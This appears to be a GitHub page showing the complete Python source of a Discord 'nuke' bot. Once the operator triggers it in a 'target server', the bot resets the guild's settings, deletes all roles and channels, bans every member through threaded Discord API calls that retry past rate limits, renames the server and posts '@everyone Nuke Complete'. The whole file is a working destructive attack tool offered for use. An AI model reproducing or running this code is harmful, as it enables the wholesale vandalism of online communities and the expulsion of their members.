-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathMain.py
170 lines (152 loc) · 5.23 KB
/
Main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import encodeimage
import discord
from discord.ext import commands
import requests
import threading
import os
import json
roles = None
members = None
channels = None
guildId = None
token = ""
server_name = "Nuke Server"
end_message = "@everyone Nuke Complete"
bot_prefix = "!"
headers = {
'authorization': f'Bot {token}',
}
def nullit(guildId):
headers = {
'authority': 'discord.com',
'Content-Type':'application/json',
'authorization': f'Bot {token}'
}
json_data = {
'description': None,
'icon': None,
'splash': None,
'banner': None,
'features': [],
'afk_channel_id': None,
'afk_timeout': 300,
'system_channel_id': None,
'verification_level': 0,
'default_message_notifications': 1,
'explicit_content_filter': 0,
'system_channel_flags': 13,
'premium_progress_bar_enabled': True,
}
response = requests.patch(f'https://discord.com/api/v9/guilds/{guildId}', headers=headers, data=json.dumps(json_data))
def delChannel(channelId):
while True:
r=requests.delete(f'https://discord.com/api/v9/channels/{channelId}', headers=headers)
try:
r = r.json()
message = r.get('message')
if message == "You are being rate limited.":
pass
else:
break
except:
break
def delRole(guildId,roleID):
while True:
r = requests.delete(f'https://discord.com/api/v9/guilds/{guildId}/roles/{roleID}', headers=headers)
try:
r = r.json()
message = r.get('message')
if message == "You are being rate limited.":
pass
else:
break
except:
break
def banMember(guildId,memberId):
data = '{"delete_message_days":"1"}'
while True:
r=requests.put(f'https://discord.com/api/v9/guilds/{guildId}/bans/{memberId}', headers=headers, data=data)
try:
r = r.json()
message = r.get('message')
if message == "You are being rate limited.":
pass
else:
break
except:
break
def finish(guildId):
headers = {
'authority': 'discord.com',
'Content-Type':'application/json',
'authorization': f'Bot {token}'
}
json_data = {
'name': f'{server_name}',
'description': None,
'icon': encodeimage.encode('E:\\\Python\\melatonin\\pfp.png'),
'splash': None,
'banner': None,
'features': [],
'afk_channel_id': None,
'afk_timeout': 900,
'system_channel_id': None,
'verification_level': 1,
'default_message_notifications': 1,
'explicit_content_filter': 2,
'system_channel_flags': 13,
'public_updates_channel_id': '0',
'premium_progress_bar_enabled': True,
}
response = requests.patch(f'https://discord.com/api/v9/guilds/{guildId}', headers=headers, data=json.dumps(json_data))
headers = {
'authorization': f'Bot {token}',
'Content-Type' : 'application/json'
}
data = '{"type":0,"name":"Melatonin","permission_overwrites":[]}'
response = requests.post(f'https://discord.com/api/v9/guilds/{guildId}/channels', headers=headers, data=data)
response = response.json()
id = response.get('id')
yea = f'https://discord.com/api/v9/channels/{id}/messages'
headers = {
'authorization': f'Bot {token}',
'content-type': 'application/json',
}
response = json.dumps({"content":f"{end_message}"})
r = requests.post(yea, headers = headers, data = response)
def nuke(roles,members,channels,guildId):
for role in roles:
threading.Thread(target=delRole,args=(guildId,role.id)).start()
for channel in channels:
threading.Thread(target=delChannel,args=(channel.id,)).start()
for member in members:
threading.Thread(target=banMember,args=(guildId,member.id,)).start()
finish(guildId)
def main():
client = commands.Bot(command_prefix = f'{bot_prefix}',intents = discord.Intents.all())
client.remove_command('help')
@client.event
async def on_ready():
print(f'the bot has not been initialized Please do "{client.command_prefix}init" in the target server')
@client.command()
async def init(ctx):
try:
roles = ctx.guild.roles
members = []
async for resp in ctx.guild.fetch_members():
members.append(resp)
channels = ctx.guild.channels
guildId = ctx.guild.id
os.system('cls')
input('retrived members,roles and channels ready to nuke :) (press enter to nuke)')
except Exception as e:
print(e)
input('something went wrong, try again?')
os.system('cls')
main()
print('starting nuke')
nullit(guildId)
nuke(roles,members,channels,guildId)
client.run(token)
main()
input('Done press enter to exit')